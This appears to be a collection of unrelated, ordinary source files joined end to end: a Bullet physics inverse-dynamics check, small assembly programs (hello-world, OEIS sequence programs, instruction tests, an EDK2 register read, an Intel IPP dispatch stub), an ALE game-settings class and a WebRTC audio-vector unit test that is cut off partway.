btmb->addBaseForce(world_T_base * base_force);
btmb->addBaseTorque(world_T_base * base_moment);
if (verbose)
{
printf("base force from id: %f %f %f\n", joint_forces(3), joint_forces(4),
joint_forces(5));
printf("base moment from id: %f %f %f\n", joint_forces(0), joint_forces(1),
joint_forces(2));
}
q_index = 6;
}
for (int l = 0; l < btmb->getNumLinks(); l++)
{
const btMultibodyLink &link = btmb->getLink(l);
if (link.m_posVarCount == 1)
{
if (verbose)
{
printf("id:joint_force[%d]= %f, applied to link %d\n", q_index,
joint_forces(q_index), l);
}
btmb->addJointTorque(l, joint_forces(q_index));
q_index++;
}
}
// sanity check
if (q_index != q.size())
{
bt_id_error_message("error in number of dofs for btMultibody and MultiBodyTree\n");
return -1;
}
// run forward kinematics & forward dynamics
btAlignedObjectArray<btQuaternion> world_to_local;
btAlignedObjectArray<btVector3> local_origin;
btmb->forwardKinematics(world_to_local, local_origin);
btmb->computeAccelerationsArticulatedBodyAlgorithmMultiDof(dt, scratch_r, scratch_v, scratch_m, isConstraintPass);
// read generalized accelerations back from btMultiBody
// the mapping from scratch variables to accelerations is taken from the implementation
// of stepVelocitiesMultiDof
btScalar *base_accel = &scratch_r[btmb->getNumDofs()];
btScalar *joint_accel = base_accel + 6;
*acc_error = 0;
int dot_u_offset = 0;
if (btmb->hasFixedBase())
{
dot_u_offset = 0;
}
else
{
dot_u_offset = 6;
}
if (true == btmb->hasFixedBase())
{
for (int i = 0; i < btmb->getNumDofs(); i++)
{
if (verbose)
{
printf("bt:ddot_q[%d]= %f, id:ddot_q= %e, diff= %e\n", i, joint_accel[i],
dot_u(i + dot_u_offset), joint_accel[i] - dot_u(i));
}
*acc_error += BT_ID_POW(joint_accel[i] - dot_u(i + dot_u_offset), 2);
}
}
else
{
vec3 base_dot_omega;
vec3 world_dot_omega;
world_dot_omega(0) = base_accel[0];
world_dot_omega(1) = base_accel[1];
world_dot_omega(2) = base_accel[2];
base_dot_omega = world_T_base.transpose() * world_dot_omega;
// com happens to coincide with link origin here. If that changes, we need to calculate
// ddot_com
vec3 base_ddot_com;
vec3 world_ddot_com;
world_ddot_com(0) = base_accel[3];
world_ddot_com(1) = base_accel[4];
world_ddot_com(2) = base_accel[5];
base_ddot_com = world_T_base.transpose() * world_ddot_com;
for (int i = 0; i < 3; i++)
{
if (verbose)
{
printf("bt::base_dot_omega(%d)= %e dot_u[%d]= %e, diff= %e\n", i, base_dot_omega(i),
i, dot_u[i], base_dot_omega(i) - dot_u[i]);
}
*acc_error += BT_ID_POW(base_dot_omega(i) - dot_u(i), 2);
}
for (int i = 0; i < 3; i++)
{
if (verbose)
{
printf("bt::base_ddot_com(%d)= %e dot_u[%d]= %e, diff= %e\n", i, base_ddot_com(i),
i, dot_u[i + 3], base_ddot_com(i) - dot_u[i + 3]);
}
*acc_error += BT_ID_POW(base_ddot_com(i) - dot_u(i + 3), 2);
}
for (int i = 0; i < btmb->getNumDofs(); i++)
{
if (verbose)
{
printf("bt:ddot_q[%d]= %f, id:ddot_q= %e, diff= %e\n", i, joint_accel[i],
dot_u(i + 6), joint_accel[i] - dot_u(i + 6));
}
*acc_error += BT_ID_POW(joint_accel[i] - dot_u(i + 6), 2);
}
}
*acc_error = std::sqrt(*acc_error);
if (verbose)
{
printf("======dynamics-err: %e\n", *acc_error);
}
*pos_error = 0.0;
{
mat33 world_T_body;
if (-1 == id_tree->getBodyTransform(0, &world_T_body))
{
bt_id_error_message("getting transform for body %d\n", 0);
return -1;
}
vec3 world_com;
if (-1 == id_tree->getBodyCoM(0, &world_com))
{
bt_id_error_message("getting com for body %d\n", 0);
return -1;
}
if (verbose)
{
printf("id:com: %f %f %f\n", world_com(0), world_com(1), world_com(2));
printf(
"id:transform: %f %f %f\n"
" %f %f %f\n"
" %f %f %f\n",
world_T_body(0, 0), world_T_body(0, 1), world_T_body(0, 2), world_T_body(1, 0),
world_T_body(1, 1), world_T_body(1, 2), world_T_body(2, 0), world_T_body(2, 1),
world_T_body(2, 2));
}
}
for (int l = 0; l < btmb->getNumLinks(); l++)
{
const btMultibodyLink &bt_link = btmb->getLink(l);
vec3 bt_origin = bt_link.m_cachedWorldTransform.getOrigin();
mat33 bt_basis = bt_link.m_cachedWorldTransform.getBasis();
if (verbose)
{
printf("------------- link %d\n", l + 1);
printf("bt:com: %f %f %f\n", bt_origin(0), bt_origin(1), bt_origin(2));
printf(
"bt:transform: %f %f %f\n"
" %f %f %f\n"
" %f %f %f\n",
bt_basis(0, 0), bt_basis(0, 1), bt_basis(0, 2), bt_basis(1, 0), bt_basis(1, 1),
bt_basis(1, 2), bt_basis(2, 0), bt_basis(2, 1), bt_basis(2, 2));
}
mat33 id_world_T_body;
vec3 id_world_com;
if (-1 == id_tree->getBodyTransform(l + 1, &id_world_T_body))
{
bt_id_error_message("getting transform for body %d\n", l);
return -1;
}
if (-1 == id_tree->getBodyCoM(l + 1, &id_world_com))
{
bt_id_error_message("getting com for body %d\n", l);
return -1;
}
if (verbose)
{
printf("id:com: %f %f %f\n", id_world_com(0), id_world_com(1), id_world_com(2));
printf(
"id:transform: %f %f %f\n"
" %f %f %f\n"
" %f %f %f\n",
id_world_T_body(0, 0), id_world_T_body(0, 1), id_world_T_body(0, 2),
id_world_T_body(1, 0), id_world_T_body(1, 1), id_world_T_body(1, 2),
id_world_T_body(2, 0), id_world_T_body(2, 1), id_world_T_body(2, 2));
}
vec3 diff_com = bt_origin - id_world_com;
mat33 diff_basis = bt_basis - id_world_T_body;
if (verbose)
{
printf("diff-com: %e %e %e\n", diff_com(0), diff_com(1), diff_com(2));
printf("diff-transform: %e %e %e %e %e %e %e %e %e\n", diff_basis(0, 0),
diff_basis(0, 1), diff_basis(0, 2), diff_basis(1, 0), diff_basis(1, 1),
diff_basis(1, 2), diff_basis(2, 0), diff_basis(2, 1), diff_basis(2, 2));
}
double total_pos_err =
BT_ID_SQRT(BT_ID_POW(diff_com(0), 2) + BT_ID_POW(diff_com(1), 2) +
BT_ID_POW(diff_com(2), 2) + BT_ID_POW(diff_basis(0, 0), 2) +
BT_ID_POW(diff_basis(0, 1), 2) + BT_ID_POW(diff_basis(0, 2), 2) +
BT_ID_POW(diff_basis(1, 0), 2) + BT_ID_POW(diff_basis(1, 1), 2) +
BT_ID_POW(diff_basis(1, 2), 2) + BT_ID_POW(diff_basis(2, 0), 2) +
BT_ID_POW(diff_basis(2, 1), 2) + BT_ID_POW(diff_basis(2, 2), 2));
if (verbose)
{
printf("======kin-pos-err: %e\n", total_pos_err);
}
if (total_pos_err > *pos_error)
{
*pos_error = total_pos_err;
}
}
return 0;
}
} // namespace btInverseDynamics
|
SECTION .data
hello: db 'Hello, World!'
SECTION .text
global main
main:
mov edx, 13
mov ecx, hello
mov ebx, 1
mov eax, 4
int 0x80
mov ebx, 0
mov eax, 1
int 0x80 |
; A287394: Domination number for camel's graph on a 2 X n board.
; 0,2,4,6,6,6,6,6,6,6,8,10,12,12,12,12,12,12,12,14,16,18,18,18,18,18,18,18,20,22,24,24,24,24,24,24,24,26,28,30,30,30,30,30,30,30,32,34,36,36,36,36,36,36,36,38,40,42,42,42,42,42,42,42,44,46,48,48,48,48,48,48,48,50,52,54,54,54,54,54,54,54,56,58,60,60,60,60,60,60,60,62,64,66,66,66,66,66,66,66,68,70,72,72,72,72,72,72,72,74,76,78,78,78,78,78,78,78,80,82,84,84,84,84,84,84,84,86,88,90,90,90,90,90,90,90,92,94,96,96,96,96,96,96,96,98,100,102,102,102,102,102,102,102,104,106,108,108,108,108,108,108,108,110,112,114,114,114,114,114,114,114,116,118,120,120,120,120,120,120,120,122,124,126,126,126,126,126,126,126,128,130,132,132,132,132,132,132,132,134,136,138,138,138,138,138,138,138,140,142,144,144,144,144,144,144,144,146,148,150,150,150,150,150,150,150,152,154,156,156,156,156,156,156,156,158,160,162,162,162,162,162,162,162,164,166,168,168,168,168
mov $1,3
mov $2,6
lpb $0
sub $0,$2
sub $0,1
trn $0,2
add $2,$1
add $3,$1
add $0,$3
lpe
mul $0,2
mov $1,$0
|
#include <cmath>
#include <matplot/matplot.h>
int main() {
using namespace matplot;
double r = 2;
double xc = 4;
double yc = 3;
std::vector<double> theta = linspace(0, 2 * pi);
std::vector<double> x =
transform(theta, [=](auto theta) { return r * cos(theta) + xc; });
std::vector<double> y =
transform(theta, [=](auto theta) { return r * sin(theta) + yc; });
plot(x, y);
axis(equal);
wait();
return 0;
} |
; A147758: Numbers whose binary representation is a palindrome formed from the reflected decimal expansion of the concatenation of 1, 0 and infinite digits 1.
; 1,3,5,9,21,45,93,189,381,765,1533,3069,6141,12285,24573,49149,98301,196605,393213,786429,1572861,3145725,6291453,12582909,25165821,50331645,100663293,201326589,402653181,805306365,1610612733,3221225469
mov $1,$0
trn $1,3
add $1,1
lpb $0
sub $0,1
mov $2,1
mov $3,$1
trn $1,$0
add $2,$3
add $1,$2
lpe
|
; A038714: Promic numbers repeated 4 times; a(n) = floor(n/4) * ceiling((n+1)/4).
; 0,0,0,0,2,2,2,2,6,6,6,6,12,12,12,12,20,20,20,20,30,30,30,30,42,42,42,42,56,56,56,56,72,72,72,72,90,90,90,90,110,110,110,110,132,132,132,132,156,156,156,156,182,182,182,182,210,210,210,210,240,240,240,240,272,272,272,272,306,306,306,306,342,342,342,342,380,380,380,380,420,420,420,420,462,462,462,462,506,506,506,506,552,552,552,552,600,600,600,600,650,650,650,650,702,702,702,702,756,756,756,756,812,812,812,812,870,870,870,870,930,930,930,930,992,992,992,992,1056,1056,1056,1056,1122,1122,1122,1122,1190,1190,1190,1190,1260,1260,1260,1260,1332,1332,1332,1332,1406,1406,1406,1406,1482,1482,1482,1482,1560,1560,1560,1560,1640,1640,1640,1640,1722,1722,1722,1722,1806,1806,1806,1806,1892,1892,1892,1892,1980,1980,1980,1980,2070,2070,2070,2070,2162,2162,2162,2162,2256,2256,2256,2256,2352,2352,2352,2352,2450,2450,2450,2450,2550,2550,2550,2550,2652,2652,2652,2652,2756,2756,2756,2756,2862,2862,2862,2862,2970,2970,2970,2970,3080,3080,3080,3080,3192,3192,3192,3192,3306,3306,3306,3306,3422,3422,3422,3422,3540,3540,3540,3540,3660,3660,3660,3660,3782,3782,3782,3782,3906,3906
div $0,-4
bin $0,2
mov $1,$0
mul $1,2
|
/* *****************************************************************************
* The lines 64, 109, 117 and 125 are based on Xitari's code, from Google Inc.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License version 2
* as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* *****************************************************************************
* A.L.E (Arcade Learning Environment)
* Copyright (c) 2009-2013 by Yavar Naddaf, Joel Veness, Marc G. Bellemare and
* the Reinforcement Learning and Artificial Intelligence Laboratory
* Released under the GNU General Public License; see License.txt for details.
*
* Based on: Stella -- "An Atari 2600 VCS Emulator"
* Copyright (c) 1995-2007 by Bradford W. Mott and the Stella team
*
* *****************************************************************************
*/
#include "TimePilot.hpp"
#include "../RomUtils.hpp"
TimePilotSettings::TimePilotSettings() {
m_reward = 0;
m_score = 0;
m_terminal = false;
m_lives = 5;
}
/* create a new instance of the rom */
RomSettings* TimePilotSettings::clone() const {
RomSettings* rval = new TimePilotSettings();
*rval = *this;
return rval;
}
/* process the latest information from ALE */
void TimePilotSettings::step(const System& system) {
// update the reward
int score = getDecimalScore(0x8D, 0x8F, &system);
score *= 100;
int reward = score - m_score;
m_reward = reward;
m_score = score;
int lives_byte = readRam(&system, 0x8B) & 0x7;
int screen_byte = readRam(&system, 0x80) & 0xF;
// update terminal status
m_terminal = readRam(&system, 0xA0);
// Only update lives when actually flying; otherwise funny stuff happens
m_lives = (screen_byte == 2) ? (lives_byte + 1) : m_lives;
}
/* is end of game */
bool TimePilotSettings::isTerminal() const {
return m_terminal;
};
/* get the most recently observed reward */
reward_t TimePilotSettings::getReward() const {
return m_reward;
}
/* is an action part of the minimal set? */
bool TimePilotSettings::isMinimal(const Action &a) const {
switch (a) {
case PLAYER_A_NOOP:
case PLAYER_A_FIRE:
case PLAYER_A_UP:
case PLAYER_A_RIGHT:
case PLAYER_A_LEFT:
case PLAYER_A_DOWN:
case PLAYER_A_UPFIRE:
case PLAYER_A_RIGHTFIRE:
case PLAYER_A_LEFTFIRE:
case PLAYER_A_DOWNFIRE:
return true;
default:
return false;
}
}
/* reset the state of the game */
void TimePilotSettings::reset(System& system, StellaEnvironment& environment) {
m_reward = 0;
m_score = 0;
m_terminal = false;
m_lives = 5;
}
/* saves the state of the rom settings */
void TimePilotSettings::saveState(Serializer & ser) {
ser.putInt(m_reward);
ser.putInt(m_score);
ser.putBool(m_terminal);
ser.putInt(m_lives);
}
// loads the state of the rom settings
void TimePilotSettings::loadState(Deserializer & ser) {
m_reward = ser.getInt();
m_score = ser.getInt();
m_terminal = ser.getBool();
m_lives = ser.getInt();
}
DifficultyVect TimePilotSettings::getAvailableDifficulties(){
DifficultyVect diff;
diff.push_back(0);
diff.push_back(1);
diff.push_back(2);
return diff;
}
|
// Original test: ./ullmer/hw4/problem6/jal_3.asm
// Author: ullmer
// Test source code follows
//tests jump and link
//with unaligned target
jal 593
|
;Inicialização
addi $1 $0 137
addi $2 $0 146
addi $3 $0 65
addi $4 $0 63
addi $5 $0 75
addi $6 $0 86
addi $7 $0 97
; And simples
and $7 $4 $5
and $6 $6 $7
and $5 $7 $1
and $4 $2 $3
and $3 $4 $5
and $2 $6 $7
and $1 $1 $2
; $0 como destino
and $0 $5 $2
and $0 $6 $3
and $0 $7 $4
and $0 $1 $5
and $0 $2 $6
and $0 $3 $7
; And como cópia
and $7 $1 $1
and $6 $2 $2
and $5 $3 $3
and $4 $7 $7
and $3 $4 $4
and $2 $5 $5
and $1 $6 $6
; Operando = destino
and $7 $7 $2
and $6 $6 $3
and $5 $5 $4
and $4 $4 $5
and $3 $3 $6
and $2 $2 $7
and $1 $1 $2
; And como NOP
and $7 $7 $7
and $6 $6 $6
and $5 $5 $5
and $4 $4 $4
and $3 $3 $3
and $2 $2 $2
and $1 $1 $1
; And para zerar
and $7 $0 $7
and $6 $0 $6
and $5 $0 $5
and $4 $0 $4
and $3 $0 $3
and $2 $0 $2
and $1 $0 $1
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006 - 2022, Intel Corporation. All rights reserved.<BR>
; SPDX-License-Identifier: BSD-2-Clause-Patent
;
; Module Name:
;
; ReadMm3.Asm
;
; Abstract:
;
; AsmReadMm3 function
;
; Notes:
;
;------------------------------------------------------------------------------
DEFAULT REL
SECTION .text
;------------------------------------------------------------------------------
; UINT64
; EFIAPI
; AsmReadMm3 (
; VOID
; );
;------------------------------------------------------------------------------
global ASM_PFX(AsmReadMm3)
ASM_PFX(AsmReadMm3):
movq rax, mm3
ret
|
; A142729: Primes congruent to 2 mod 59.
; Submitted by Jamie Morken(s4)
; 2,61,179,769,887,1123,1831,1949,2539,2657,3011,3719,4073,4663,5843,6079,6197,6551,9029,9619,9973,10091,10799,11743,12097,12451,12569,12923,13159,13513,14221,14929,15401,15991,16699,17053,17761,18233,18587,19531,20357,20593,20947,21419,21773,22481,22717,23071,23189,24133,24251,24841,25667,25903,26021,26729,27437,27673,27791,28027,28499,29207,29443,30269,30859,30977,31567,32983,33809,34871,35107,35461,35933,36523,36877,39119,39709,39827,40063,40771,41243,41479,41597,42187,43013,43721,45137,45491
mov $2,$0
add $2,2
pow $2,2
lpb $2
add $1,28
pow $1,$4
sub $2,1
mov $3,$1
add $1,4
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,27
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
sub $0,30
|
/// @file
/// Declares the `fw::greeter::testing::ConfigMock` *Test Double* class.
///
/// @author Florian Wolters <wolters.fl@gmail.com>
/// @copyright Copyright (c) 2019, Florian Wolters and/or its affiliates.
/// All rights reserved.
/// This code is licensed under the MIT License. See `LICENSE` file for details.
#ifndef FW_GREETER_TESTING_CONFIG_MOCK_HPP_
#define FW_GREETER_TESTING_CONFIG_MOCK_HPP_
// Google Test
#include <gmock/gmock.h>
#include <fw/greeter/config_interface.hpp>
namespace fw {
namespace greeter {
namespace testing {
class ConfigMock : public ConfigInterface {
public:
MOCK_METHOD0(personalNameRepository, PersonalNameRepositoryInterface&());
};
} // namespace testing
} // namespace greeter
} // namespace fw
#endif // FW_GREETER_TESTING_CONFIG_MOCK_HPP_
|
;
SECTION code_clib
PUBLIC generic_console_cls
PUBLIC generic_console_vpeek
PUBLIC generic_console_printc
PUBLIC generic_console_scrollup
PUBLIC generic_console_ioctl
PUBLIC generic_console_set_ink
PUBLIC generic_console_set_paper
PUBLIC generic_console_set_inverse
EXTERN CONSOLE_COLUMNS
EXTERN CONSOLE_ROWS
defc DISPLAY = 31744
generic_console_ioctl:
scf
generic_console_set_ink:
generic_console_set_paper:
generic_console_set_inverse:
ret
generic_console_cls:
ld b,24
ld c,0
generic_console_cls_1:
push bc
ld b,c
ld c,0
call xypos
ld d,h
ld e,l
inc de
ld bc,32
ld (hl),32
ldir
pop bc
inc c
djnz generic_console_cls_1
ret
; c = x
; b = y
; a = d character to print
; e = raw
generic_console_printc:
push af
call xypos
pop af
ld (hl),a
ret
;Entry: c = x,
; b = y
;Exit: nc = success
; a = character,
; c = failure
generic_console_vpeek:
call xypos
ld a,(hl)
and a
ret
xypos:
ld a,b
ld hl,884 ; ROW table in ROM
ld d,0
rla
ld e,a
add hl,de
ld a,(hl)
inc hl
ld h,(hl)
ld l,a
ld b,0
add hl,bc
ret
IF NOTROM
ld a,b
ld hl,31744 ; OLD method (non ROM dependent)
cp 8
jr c,jpvdu
ld hl,31784
sub 8
cp 8
jr c,jpvdu
ld hl,31824
sub 8
.jpvdu
and a
jr z,r_zero
ld b,a
ld de,128
.r_loop
add hl,de
djnz r_loop
add hl,bc
ret
ENDIF
generic_console_scrollup:
push de
push bc
ld a,23
ld bc,0
generic_console_scrollup_1:
push af
push bc
push bc ;save coordinates
call xypos ;destination
ex de,hl
pop bc ;coordinates back
push de ;save dest
inc b
call xypos
pop de ;dest back
ld bc,40 ;and copy
ldir
pop bc
pop af
inc b
dec a
jr nz,generic_console_scrollup_1
ld bc, 23 * 256 ;last row
call xypos
ld d,h
ld e,l
inc de
ld bc,39
ld (hl),32
ldir
pop bc
pop de
ret
|
/* VMS dwarf2 section sequentializer.
Copyright (C) 2001 Free Software Foundation, Inc.
Contributed by Douglas B. Rupp (rupp@gnat.com).
This file is part of GNU CC.
GNU CC is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2, or (at your option)
any later version.
In addition to the permissions in the GNU General Public License, the
Free Software Foundation gives you unlimited permission to link the
compiled version of this file into combinations with other programs,
and to distribute those combinations without any restriction coming
from the use of this file. (The General Public License restrictions
do apply in other respects; for example, they cover modification of
the file, and distribution when not linked into a combine
executable.)
GNU CC is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with GNU CC; see the file COPYING. If not, write to
the Free Software Foundation, 59 Temple Place - Suite 330,
Boston, MA 02111-1307, USA. */
/* Linking with this file forces Dwarf2 debug sections to be
sequentially loaded by the VMS linker, enabling GDB to read them. */
.section .debug_abbrev,NOWRT
.align 0
.globl $dwarf2.debug_abbrev
$dwarf2.debug_abbrev:
.section .debug_aranges,NOWRT
.align 0
.globl $dwarf2.debug_aranges
$dwarf2.debug_aranges:
.section .debug_frame,NOWRT
.align 0
.globl $dwarf2.debug_frame
$dwarf2.debug_frame:
.section .debug_info,NOWRT
.align 0
.globl $dwarf2.debug_info
$dwarf2.debug_info:
.section .debug_line,NOWRT
.align 0
.globl $dwarf2.debug_line
$dwarf2.debug_line:
.section .debug_loc,NOWRT
.align 0
.globl $dwarf2.debug_loc
$dwarf2.debug_loc:
.section .debug_macinfo,NOWRT
.align 0
.globl $dwarf2.debug_macinfo
$dwarf2.debug_macinfo:
.section .debug_pubnames,NOWRT
.align 0
.globl $dwarf2.debug_pubnames
$dwarf2.debug_pubnames:
.section .debug_str,NOWRT
.align 0
.globl $dwarf2.debug_str
$dwarf2.debug_str:
.section .debug_zzzzzz,NOWRT
.align 0
.globl $dwarf2.debug_zzzzzz
$dwarf2.debug_zzzzzz:
|
;;; 1001|
__0x9x_ldr_str:
ret
|
extern m7_ippsECCPMulPointScalar:function
extern n8_ippsECCPMulPointScalar:function
extern y8_ippsECCPMulPointScalar:function
extern e9_ippsECCPMulPointScalar:function
extern l9_ippsECCPMulPointScalar:function
extern n0_ippsECCPMulPointScalar:function
extern k0_ippsECCPMulPointScalar:function
extern ippcpJumpIndexForMergedLibs
extern ippcpSafeInit:function
segment .data
align 8
dq .Lin_ippsECCPMulPointScalar
.Larraddr_ippsECCPMulPointScalar:
dq m7_ippsECCPMulPointScalar
dq n8_ippsECCPMulPointScalar
dq y8_ippsECCPMulPointScalar
dq e9_ippsECCPMulPointScalar
dq l9_ippsECCPMulPointScalar
dq n0_ippsECCPMulPointScalar
dq k0_ippsECCPMulPointScalar
segment .text
global ippsECCPMulPointScalar:function (ippsECCPMulPointScalar.LEndippsECCPMulPointScalar - ippsECCPMulPointScalar)
.Lin_ippsECCPMulPointScalar:
db 0xf3, 0x0f, 0x1e, 0xfa
call ippcpSafeInit wrt ..plt
align 16
ippsECCPMulPointScalar:
db 0xf3, 0x0f, 0x1e, 0xfa
mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc]
movsxd rax, dword [rax]
lea r11, [rel .Larraddr_ippsECCPMulPointScalar]
mov r11, qword [r11+rax*8]
jmp r11
.LEndippsECCPMulPointScalar:
|
/*
* Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contributing project authors may
* be found in the AUTHORS file in the root of the source tree.
*/
#include "webrtc/modules/audio_coding/neteq/audio_vector.h"
#include <assert.h>
#include <stdlib.h>
#include <string>
#include "testing/gtest/include/gtest/gtest.h"
#include "webrtc/typedefs.h"
namespace webrtc {
class AudioVectorTest : public ::testing::Test {
protected:
virtual void SetUp() {
// Populate test array.
for (size_t i = 0; i < array_length(); ++i) {
array_[i] = i;
}
}
size_t array_length() const {
return sizeof(array_) / sizeof(array_[0]);
}
int16_t array_[10];
};
// Create and destroy AudioVector objects, both empty and with a predefined
// length.
TEST_F(AudioVectorTest, CreateAndDestroy) {
AudioVector vec1;
EXPECT_TRUE(vec1.Empty());
EXPECT_EQ(0u, vec1.Size());
size_t initial_size = 17;
AudioVector vec2(initial_size);
EXPECT_FALSE(vec2.Empty());
EXPECT_EQ(initial_size, vec2.Size());
}
// Test the subscript operator [] for getting and setting.
TEST_F(AudioVectorTest, SubscriptOperator) {
AudioVector vec(array_length());
for (size_t i = 0; i < array_length(); ++i) {
vec[i] = static_cast<int16_t>(i);
const int16_t& value = vec[i]; // Make sure to use the const version.
EXPECT_EQ(static_cast<int16_t>(i), value);
}
}
// Test the PushBack method and the CopyFrom method. The Clear method is also
// invoked.
TEST_F(AudioVectorTest, PushBackAndCopy) {
AudioVector vec;
AudioVector vec_copy;
vec.PushBack(array_, array_length());
vec.CopyTo(&vec_copy); // Copy from |vec| to |vec_copy|.
ASSERT_EQ(array_length(), vec.Size());
ASSERT_EQ(array_length(), vec_copy.Size());
for (size_t i = 0; i < array_length(); ++i) {
EXPECT_EQ(array_[i], vec[i]);
EXPECT_EQ(array_[i], vec_copy[i]);
}
// Clear |vec| and verify that it is empty.
vec.Clear();
EXPECT_TRUE(vec.Empty());
// Now copy the empty vector and verify that the copy becomes empty too.
vec.CopyTo(&vec_copy);
EXPECT_TRUE(vec_copy.Empty());
}
// Try to copy to a NULL pointer. Nothing should happen.
TEST_F(AudioVectorTest, CopyToNull) {
AudioVector vec;
AudioVector* vec_copy = NULL;
vec.PushBack(array_, array_length());
vec.CopyTo(vec_copy);
}
// Test the PushBack method with another AudioVector as input argument.
TEST_F(AudioVectorTest, PushBackVector) {
static const size_t kLength = 10;
AudioVector vec1(kLength);
AudioVector vec2(kLength);
// Set the first vector to [0, 1, ..., kLength - 1].
// Set the second vector to [kLength, kLength + 1, ..., 2 * kLength - 1].
for (size_t i = 0; i < kLength; ++i) {
vec1[i] = static_cast<int16_t>(i);
vec2[i] = static_cast<int16_t>(i + kLength);
}
// Append vec2 to the back of vec1.
vec1.PushBack(vec2);
ASSERT_EQ(2 * kLength, vec1.Size());
for (size_t i = 0; i < 2 * kLength; ++i) {
EXPECT_EQ(static_cast<int16_t>(i), vec1[i]);
}
}
// Test the PushFront method.
TEST_F(AudioVectorTest, PushFront) {
AudioVector vec;
vec.PushFront(array_, array_length());
ASSERT_EQ(array_length(), vec.Size());
for (size_t i = 0; i < array_length(); ++i) {
EXPECT_EQ(array_[i], vec[i]);
}
}
// Test the PushFront method with another AudioVector as input argument.
TEST_F(AudioVectorTest, PushFrontVector) {
static const size_t kLength = 10;
AudioVector vec1(kLength);
AudioVector vec2(kLength);
// Set the first vector to [0, 1, ..., kLength - 1].
// Set the second vector to [kLength, kLength + 1, ..., 2 * kLength - 1].
for (size_t i = 0; i < kLength; ++i) {
vec1[i] = static_cast<int16_t>(i);
vec2[i] = static_cast<int16_t>(i + kLength);
}
// Prepend vec1 to the front of vec2.
vec2.PushFront(vec1);
ASSERT_EQ(2 * kLength, vec2.Size());
for (size_t i = 0; i < 2 * kLength; ++i) {
EXPECT_EQ(static_cast<int16_t>(i), vec2[i]);
}
}
// Test the PopFront method.
TEST_F(AudioVectorTest, PopFront) {
AudioVector vec;
vec.PushBack(array_, array_length());
vec.PopFront(1); // Remove one element.
EXPECT_EQ(array_length() - 1u, vec.Size());
for (size_t i = 0; i < array_length() - 1; ++i) {
EXPECT_EQ(static_cast<int16_t>(i + 1), vec[i]);
}
vec.PopFront(array_length()); // Remove more elements than vector size.
EXPECT_EQ(0u, vec.Size());
}
// Test the PopBack method.
TEST_F(AudioVectorTest, PopBack) {
AudioVector vec;
vec.PushBack(array_, array_length());
vec.PopBack(1); // Remove one element.
EXPECT_EQ(array_length() - 1u, vec.Size());
for (size_t i = 0; i < array_length() - 1; ++i) {
EXPECT_EQ(static_cast<int16_t>(i), vec[i]);
}
vec.PopBack(array_length()); // Remove more elements than vector size.
EXPECT_EQ(0u, vec.Size());
}
// Test the Extend method.
TEST_F(AudioVectorTest, Extend) {
AudioVector vec;
vec.PushBack(array_, array_length());
vec.Extend(5); // Extend with 5 elements, which should all be zeros.
ASSERT_EQ(array_length() + 5u, vec.Size());
// Verify that all are zero.
for (size_t i = array_length(); i < array_length() + 5; ++i) {
EXPECT_EQ(0, vec[i]);
}
}
// Test the InsertAt method with an insert position in the middle of the vector.
TEST_F(AudioVectorTest, InsertAt) {
AudioVector vec;
vec.PushBack(array_, array_length());
static const int kNewLength = 5;
int16_t new_array[kNewLength];
// Set array elements to {100, 101, 102, ... }.
for (int i = 0; i < kNewLength; ++i) {
new_array[i] = 100 + i;
}
int insert_position = 5;
vec.InsertAt(new_array, kNewLength, insert_position);
// Verify that the vector looks as follows:
// {0, 1, ..., |insert_position| - 1, 100, 101, ..., 100 + kNewLength - 1,
// |insert_position|, |insert_position| + 1, ..., kLength - 1}.
size_t pos = 0;
for (int i = 0; i < insert_position; ++i) {
EXPECT_EQ(array_[i], vec[pos]);
++pos;
}
for (int i = 0; i < kNewLength; ++i) {
EXPECT_EQ(new_array[i], vec[pos]);
++pos;
}
for (size_t i = insert_position; i < array_length(); ++i) {
EXPECT_EQ(array_[i], vec[pos]);
++pos;
}
}
// Test the InsertZerosAt method with an insert position in the middle of the
// vector. Use the InsertAt method as reference.
TEST_F(AudioVectorTest, InsertZerosAt) {
AudioVector vec;
AudioVector vec_ref;
vec.PushBack(array_, array_length());
vec_ref.PushBack(array_, array_length());
static const int kNewLength = 5;
int insert_position = 5;
vec.InsertZerosAt(kNewLength, insert_position);
int16_t new_array[kNewLength] = {0}; // All zero elements.
vec_ref.InsertAt(new_array, kNewLength, insert_position);
// Verify that the vectors are identical.
ASSERT_EQ(vec_ref.Size(), vec.Size());
for (size_t i = 0; i < vec.Size(); ++i) {
EXPECT_EQ(vec_ref[i], vec[i]);
}
}
// Test the InsertAt method with an insert position at the start of the vector.
TEST_F(AudioVectorTest, InsertAtBeginning) {
AudioVector vec;
vec.PushBack(array_, array_length());
static const int kNewLength = 5;
int16_t new_array[kNewLength];
// Set array elements to {100, 101, 102, ... }.
for (int i = 0; i < kNewLength; ++i) {
new_array[i] = 100 + i;
}
int insert_position = 0;
vec.InsertAt(new_array, kNewLength, insert_position);
// Verify that the vector looks as follows:
// {100, 101, ..., 100 + kNewLength - 1,
// 0, 1, ..., kLength - 1}.
size_t pos = 0;
for (int i = 0; i < kNewLength; ++i) {
EXPECT_EQ(new_array[i], vec[pos]);
++pos;
}
for (size_t i = insert_position; i < array_length(); ++i) {
EXPECT_EQ(array_[i], vec[pos]);
++pos;
}
}
// Test the InsertAt method with an insert position at the end of the vector.
TEST_F(AudioVectorTest, InsertAtEnd) {
AudioVector vec;
vec.PushBack(array_, array_length());
static const int kNewLength = 5;
int16_t new_array[kNewLength];
// Set array elements to {100, 101, 102, ... }.
for (int i = 0; i < kNewLength; ++i) {
